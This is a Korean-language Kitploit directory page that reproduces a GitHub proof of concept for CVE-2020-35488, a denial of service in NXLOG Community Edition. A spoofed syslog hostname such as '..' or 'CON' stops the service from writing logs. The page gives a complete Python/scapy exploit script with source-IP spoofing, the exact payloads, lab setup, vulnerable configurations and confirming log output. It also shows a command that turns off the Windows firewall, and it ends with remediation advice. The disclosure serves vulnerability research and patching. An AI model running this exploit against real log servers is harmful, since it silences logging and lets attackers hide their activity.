Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-35488 — CVE-2020-35488에 대한 개념 증명 익스플로잇, 조작된 syslog 페이로드를 통해 NXLOG Community Edition에서 디렉터리 생성 실패를 유발하는 서비스 거부 취약점. | Kitploit
도구/GitHubGitHub/guillaumepetit84/cve-2020-35488
Vulnerability AnalysisExploitationPenetration TestingLog Analysis
GitHubguillaumepetit84/cve-2020-35488

CVE-2020-35488

CVE-2020-35488에 대한 개념 증명 익스플로잇, 조작된 syslog 페이로드를 통해 NXLOG Community Edition에서 디렉터리 생성 실패를 유발하는 서비스 거부 취약점.

저장소 보기
145년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

제품 nxlog-ce_2.10.2150 에서 취약점을 발견했습니다. PoC는 Linux(Debian 10)와 Windows(Windows Server 2016)에서만 테스트했습니다.


1 Description :

범위 : NXLOG Community Edition 2.10.2150

버그 유형 : CWE-502, 신뢰할 수 없는 데이터의 역직렬화 https://cwe.mitre.org/data/definitions/502.html

취약한 부분 : Syslog 페이로드

페이로드 :

  • Unix : Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden
  • Windows : Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden

내 CVSS 계산 :

공격 벡터 : 네트워크

필요 권한 : 없음

범위 : 변경되지 않음

무결성 : 없음

공격 복잡성 : 낮음

사용자 상호작용 : 없음

기밀성 : 없음

가용성 : 높음


CVSS 점수 : 7.5

심각도 : 높음


NIST의 CVSS 계산 : 링크 : https://nvd.nist.gov/vuln/detail/CVE-2020-35488

공격 벡터 :

필요 권한 :

범위 :

무결성 :

공격 복잡성 :

사용자 상호작용 :

기밀성 :

가용성 :


CVSS 점수 (3.X) : 7.5

심각도 : 높음


2 Exploitation :

이 취약점은 NXLOG 서버의 DoS를 유발할 수 있습니다.

단, 서버는 특정 구성이어야 합니다. nxlog 구성 파일이 Syslog 페이로드의 일부 필드를 사용하여 디렉터리를 생성하도록 정의되어 있어야 합니다.

Syslog 필드: https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_fields

소프트웨어는 디렉터리를 생성하려고 시도하지만, 해당 디렉터리 이름을 파일 시스템에 생성할 수 없습니다.

디렉터리 이름이 금지되어 있기 때문입니다.

다음은 생성이 불가능한 디렉터리 이름의 예시입니다.

  • Windows : CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 및 LPT9;
  • Linux : .., .

따라서 구성 파일이 Syslog 페이로드를 사용하여 디렉터리를 생성하도록 설정된 경우, 공격자는 Nxlog 서비스를 중단시킬 수 있습니다.


3 PoC :

이 취약점을 악용하기 위해 Python 스크립트를 만들었습니다.

root@kitploit:~
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3

import sys
import time
import argparse
from scapy.all import *

def getPayload(args):
        # IF UNIX
        if (args.OS == 1):
                return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
        # IF WINDOWS
        elif (args.OS == 2):
                return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"

        # Test
        elif (args.OS == 3):
                return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"

def runExploit(args,payload):
        priority = 30
        message = payload
        syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
        send(syslog,verbose=args.DEBUG)

def getArguments():
        parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
        parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
        parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
        parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
        parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
        return parser.parse_args()

def main():
        args = getArguments()
        payload = getPayload(args)
        runExploit(args,payload)
main()

2.1 Linux :

2.1.1 설치 :

Debian 10에 Nxlog 서비스 설치 :

root@kitploit:~
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support

cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb

dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb

nxlog 서비스의 구성 파일 :

root@kitploit:~
cat /etc/nxlog/nxlog.conf
root@kitploit:~
########################################
# Global directives                    #
########################################
User nxlog
Group nxlog

LogFile /var/log/nxlog/nxlog.log

########################################
# Modules                              #
########################################
<Extension _syslog>
    Module      xm_syslog
</Extension>

<Extension _exec>
    Module      xm_exec
</Extension>

<Extension _fileop>
    Module      xm_fileop
</Extension>

<Input udp>
    Module      im_udp
    Host        0.0.0.0
    Port        514
    Exec        parse_syslog_bsd();
</Input>

<Output file>
    Module      om_file
    CreateDir   True
    File        "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>

########################################
# Routes                               #
########################################
<Route syslog_to_file>
    Path        udp => file
    Priority    1
</Route>

Nxlog 서비스 시작 :

root@kitploit:~
systemctl start nxlog
systemctl status nxlog

반환 :

root@kitploit:~
● nxlog.service - LSB: logging daemon
   Loaded: loaded (/etc/init.d/nxlog; generated)
   Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
     Docs: man:systemd-sysv-generator(8)
    Tasks: 7 (limit: 2330)
   Memory: 1.7M
   CGroup: /system.slice/nxlog.service
           └─1323 /usr/bin/nxlog

nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.

확인 :

root@kitploit:~
lsof -i :514

반환 :

root@kitploit:~
nxlog   1323 nxlog   18u  IPv4  21321      0t0  UDP localhost:syslog
nxlog   1323 nxlog   19u  IPv4  21324      0t0  TCP localhost:shell (LISTEN)

좋아요!


2.1.2 테스트 :

Python 스크립트를 사용하여 Syslog 메시지를 보내 Nxlog 서비스가 디렉터리를 생성하는지 테스트할 수 있습니다.

디렉터리 이름은 Syslog 페이로드의 HOSTNAME 필드를 기반으로 합니다. (구성 파일 참조)

따라서 :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.55 -os 3

세 번째 옵션은 Syslog 페이로드에 123soleil 호스트 이름을 지정합니다.

따라서 :

root@kitploit:~
ls /var/log/nxlog
123soleil  nxlog.log

cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden

좋아요, Nxlog 서버와 Syslog 클라이언트가 작동합니다!


2.1.3 Exploit :

이제 금지된 이름의 호스트 이름을 지정하면 :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.55 -os 1

Nxlog 내부 로그에서 :

root@kitploit:~
cat /var/log/nxlog/nxlog.log

반환 :

root@kitploit:~
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied

Syslog 클라이언트가 보내는 모든 새 로그는 더 이상 파일 시스템에 기록되지 않습니다.

nxlog 서비스가 생성할 수 없는 디렉터리를 생성하려고 하기 때문에 알 수 없는 상태에 빠지기 때문입니다.

설명을 위해 서버에 새 Syslog 페이로드를 보내면 내부 로그에 다음과 같은 로그가 나타납니다.

root@kitploit:~
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
2020-11-29 18:18:38 ERROR last message repeated 3 times

모든 사용 가능한 방법으로 이 Exploit를 테스트했습니다.

  • parse_syslog();
  • parse_syslog_bsd();
  • parse_syslog_ietf();

모든 방법에서 Exploit가 작동합니다!

출처 :

  • https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_proc_parse_syslog,
  • RFC 3164
  • RFC 5424

2.2 Windows :

2.1.1 설치 :

설치 링크 : https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.msi

Nxlog 구성 파일 :

root@kitploit:~
########################################
# Global directives                    #
########################################
define ROOT     	C:\Program Files (x86)\nxlog
define CERTDIR  	%ROOT%\cert
define CONFDIR  	%ROOT%\conf
define LOGDIR   	%ROOT%\data
define LOGFILE  	%LOGDIR%\nxlog.log
LogFile 			%LOGFILE%

Moduledir          	%ROOT%\modules
CacheDir       		%ROOT%\data
Pidfile         	%ROOT%\data\nxlog.pid
SpoolDir          	%ROOT%\data

########################################
# Modules                              #
########################################
<Extension _syslog>
    Module      	xm_syslog
</Extension>

<Extension _exec>
    Module			xm_exec
</Extension>

<Extension _fileop>
	Module			xm_fileop
</Extension>

<Input udp>
	Module 			im_udp
	Host    		0.0.0.0
	Port			514
	Exec			parse_syslog();
</Input>

<Output file>
	Module			om_file
	CreateDir		TRUE
	File			'%LOGDIR%' + '\' + $Hostname + '\' + $Hostname + '.log'
</Output>

########################################
# Routes                               #
########################################
<Route syslog_to_file>
	Path			udp => file
	Priority 		1
</Route>

Nxlog 서비스 시작 :

root@kitploit:~
Start-Service -Name "nxlog"
Get-Service -Name "nxlog" 

반환 :

root@kitploit:~
Status   Name               DisplayName
------   ----               -----------
Running  nxlog              nxlog

확인 :

root@kitploit:~
netstat -an | Select-String "514" 

반환 :

root@kitploit:~
  UDP    0.0.0.0:514            *:* 

좋아요!

방화벽 규칙을 만들고 싶지 않기 때문에 Windows 방화벽을 비활성화합니다. :

root@kitploit:~
Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False

2.1.2 테스트 :

Python 스크립트를 사용하여 Syslog 메시지를 보내 Nxlog 서비스가 디렉터리를 생성하는지 테스트할 수 있습니다.

디렉터리 이름은 Syslog 페이로드의 HOSTNAME 필드를 기반으로 합니다. (구성 파일 참조)

따라서 :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.54 -os 3

디렉터리와 로그가 생성됩니다.

root@kitploit:~
ls "C:\Program Files (x86)\nxlog\data\"
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       29/11/2020     19:31                123soleil
-a----       29/11/2020     19:52            257 nxlog.log

ls "C:\Program Files (x86)\nxlog\data\123soleil"
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       29/11/2020     19:31             75 123soleil.log 

cat "C:\Program Files (x86)\nxlog\data\123soleil\123soleil.log"
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden

2.1.3 Exploit :

이제 금지된 이름의 호스트 이름을 지정하면 :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.54 -os 2

Nxlog 내부 로그에서 :

root@kitploit:~
cat 'C:\Program Files (x86)\nxlog\data\nxlog.log' 

반환 :

root@kitploit:~
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.

Syslog 클라이언트가 보내는 모든 새 로그는 더 이상 파일 시스템에 기록되지 않습니다.

nxlog 서비스가 생성할 수 없는 디렉터리를 생성하려고 하기 때문에 알 수 없는 상태에 빠지기 때문입니다.

설명을 위해 서버에 새 Syslog 페이로드를 보내면 내부 로그에 다음과 같은 로그가 나타납니다.

root@kitploit:~
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.
2020-11-29 19:52:48 ERROR last message repeated 3 times

모든 사용 가능한 방법으로 이 Exploit를 테스트했습니다.

  • parse_syslog();
  • parse_syslog_bsd();
  • parse_syslog_ietf();

모든 방법에서 Exploit가 작동합니다!

출처 :

  • https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_proc_parse_syslog,
  • RFC 3164
  • RFC 5424

4 Risk :

공격자는 Nxlog 서비스를 중단시키고, 공격 증거 없이 IT 인프라를 공격할 수 있습니다.

5 Remediation :

5.1 Nxlog 측면 :

웹사이트에서 NXLOG 2.10.2150의 소스 코드를 찾았습니다. https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.tar.gz

그리고 om_file.c 에서 이 메서드를 식별했습니다.

root@kitploit:~
static void om_file_create_dir(nx_module_t *module, const char *filename)
{
    char pathname[APR_PATH_MAX + 1];
    char *idx;
    apr_pool_t *pool;

    ASSERT(filename != NULL);

    idx = strrchr(filename, '/');
#ifdef WIN32
    if ( idx == NULL ) 
    {
        idx = strrchr(filename, '\\');
    }
#endif

    if ( idx == NULL )
    {
	log_debug("no directory in filename, cannot create");
	return;
    }

    pool = nx_pool_create_child(module->pool);
    ASSERT(sizeof(pathname) >= (size_t) (idx - filename + 1));
    apr_cpystrn(pathname, filename, (size_t) (idx - filename + 1));
    
    CHECKERR_MSG(apr_dir_make_recursive(pathname, APR_OS_DEFAULT, pool), 
		 "CreateDir is TRUE but couldn't create directory: %s", pathname);
    log_debug("directory '%s' created", pathname);
    apr_pool_destroy(pool);
}

om_file_create_dir 에 디렉터리 이름 확인 기능을 추가해야 합니다. 참고 자료 :

  • What characters are forbidden in Windows and Linux directory names?.

디렉터리 생성을 위해 apr_dir_make_recursive 함수를 사용하며, 이 함수는 Apache Portable Runtime에 포함되어 있습니다. APR

바이너리에서 사용 중인 버전을 확인하시기 바랍니다.

공개된 PoC를 확인하여 다른 Exploit(예: RCE)이 가능하지 않은지 검토하십시오.

참고 자료 :

  • https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-17804/Apache-Portable-Runtime.html
  • https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-17508/Apache-Apr-util.html

5.2 IT 직원 측면 :

Nxlog가 Community 버전에 대한 공식 패치를 배포할 때까지 이러한 기능을 사용하지 마십시오.

도구 다운로드